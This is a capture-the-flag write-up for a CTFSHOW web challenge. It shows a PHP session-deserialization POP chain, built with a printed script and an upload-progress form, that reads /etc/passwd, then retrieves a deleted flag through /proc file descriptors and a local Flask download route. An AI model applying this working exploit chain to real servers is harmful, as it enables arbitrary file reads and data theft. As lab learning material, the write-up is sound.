CTF Writeups - CTFSHOW HappyNewYear2022 web7

Challenge Solving

Source File

index.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php
include("class.php");
error_reporting(0);
highlight_file(__FILE__);
ini_set("session.serialize_handler", "php");
session_start();

if (isset($_GET['phpinfo']))
{
phpinfo();
}
if (isset($_GET['source']))
{
highlight_file("class.php");
}

$happy=new Happy();
$happy();
?>
class.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
<?php
class Happy {
public $happy;
function __construct(){
$this->happy="Happy_New_Year!!!";

}
function __destruct(){
$this->happy->happy;

}
public function __call($funName, $arguments){
die($this->happy->$funName);
}

public function __set($key,$value)
{
$this->happy->$key = $value;
}
public function __invoke()
{
echo $this->happy;
}


}

class _New_{
public $daniu;
public $robot;
public $notrobot;
private $_New_;
function __construct(){
$this->daniu="I'm daniu.";
$this->robot="I'm robot.";
$this->notrobot="I'm not a robot.";

}
public function __call($funName, $arguments){
echo $this->daniu.$funName."not exists!!!";
}

public function __invoke()
{
echo $this->daniu;
$this->daniu=$this->robot;
echo $this->daniu;
}
public function __toString()
{
$robot=$this->robot;
$this->daniu->$robot=$this->notrobot;
return (string)$this->daniu;

}
public function __get($key){
echo $this->daniu.$key."not exists!!!";
}

}
class Year{
public $zodiac;
public function __invoke()
{
echo "happy ".$this->zodiac." year!";

}
function __construct(){
$this->zodiac="Hu";
}
public function __toString()
{
$this->show();

}
public function __set($key,$value)#3
{
$this->$key = $value;
}

public function show(){
die(file_get_contents($this->zodiac));
}
public function __wakeup()
{
$this->zodiac = 'hu';
}

}
?>

Unserialization Analyzing

Got phpinfo by accessing /?phpinfo:
aaa
Because session.serialize_handler was set to php and its default value is php_serialize, we can unserialize any object we want. And session.upload_progress.enabled was set to On and we have value of session.upload_progress.name, only we need to do is adding our payload at upload filename then our object will be unserialized.

POP Chain Building

Here is the POP clain: Happy->__destruct() ==> _New_->__get() ==> _New_->__toString() ==> Year->show()

build_pop.php
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php

class Happy {
public $happy;
}

class _New_{
public $daniu;
public $robot;
public $notrobot;
}

class Year{
public $zodiac;
}

$happy1 = new Happy();
$new1 = new _New_();
$new2 = new _New_();
$year1 = new Year();

$new2->notrobot = '/etc/passwd';
$new2->robot = 'zodiac';
$new2->daniu = $year1;
$new1->daniu = $new2;
$happy1->happy = $new1;
var_dump($happy1);
var_dump(str_replace('"', '\\"', serialize($happy1)));

I create a Happy object called $happy1 as starting object, its __destruct method will be called during unserialization. This method access happy attribute of $happy1->happy, then I create a _New_ object called $new1 and Happy->happy was set to it, $new1->__get magic method will be called because _New_ class does not have happy attribute. $new1->__get will connect $new1->daniu with some string, which will convert $new1->daniu into string if its type is not string. Then I create another _New_ object called new2 and $new1->daniu was set to it, $new2->__toString will be called when calling $new1->__get method converting $new2 into string. $new2->__toString will setup a specific attribute of $new2->daniu with specific value, and convert $new2->daniu, then I create a Year object called year1 and $new2->daniu was set to it, set $new2->robot and $new2->notrobot to zodiac and /etc/passwd so that the $year1->zodiac will be set to /etc/passwd, then $year1->__toString will be called and $year1->show show the file content of /etc/passwd. I didn’t use Year class directly because Year->__wakeup method will reset $year1->zodiac, so I have to use $new2->toString to setup $year1->zodiac dynamically.

Exploit

Now we have the payload to unserialize, so we can read any file. Let’s catch requests in burp and insert our payload.

index.html
1
2
3
4
5
6
<form action="http://276c305a-1877-4365-bab1-45cd8da4be3b.challenge.ctf.show/index.php" method="POST"
enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" />
</form>

readfile1
Reading /etc/passwd file successfully, but the flag is not at /flag. Here is a hint from ctfshow:
hint1
This hint tells us the flag is in other process, follow the hint I start to scan the process through /proc/pid/cmdline. Then I found a python process has pid 114.
scan1

/app/server.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from flask import *
import os

app = Flask(__name__)
flag=open('/flag','r')
##flag我删了
os.remove('/flag')

@app.route('/', methods=['GET', 'POST'])
def index():
return "flag我删了,你们别找了"

@app.route('/download/', methods=['GET', 'POST'])
def download_file():
return send_file(request.args['filename'])


if __name__ == '__main__':
app.run(host='127.0.0.1', port=5000, debug=False)

This python script open the flag file without close, then remove the file. I test actions like this through an local script, and I found removed file can still access from script at /proc/pid/fd/3. Then read this file through http://127.0.0.1:5000/download/?filename=/proc/pid/fd/3.
flag1

Summarize

This time I used some tricks I learned from hackthebox. This is positive feedback for me to spend more time on hackthebox next. Maybe it’s not a bad idea Hah?
And the ctfshow lottery drew me and gave me a one-month bilibili membership as a prize, thanks.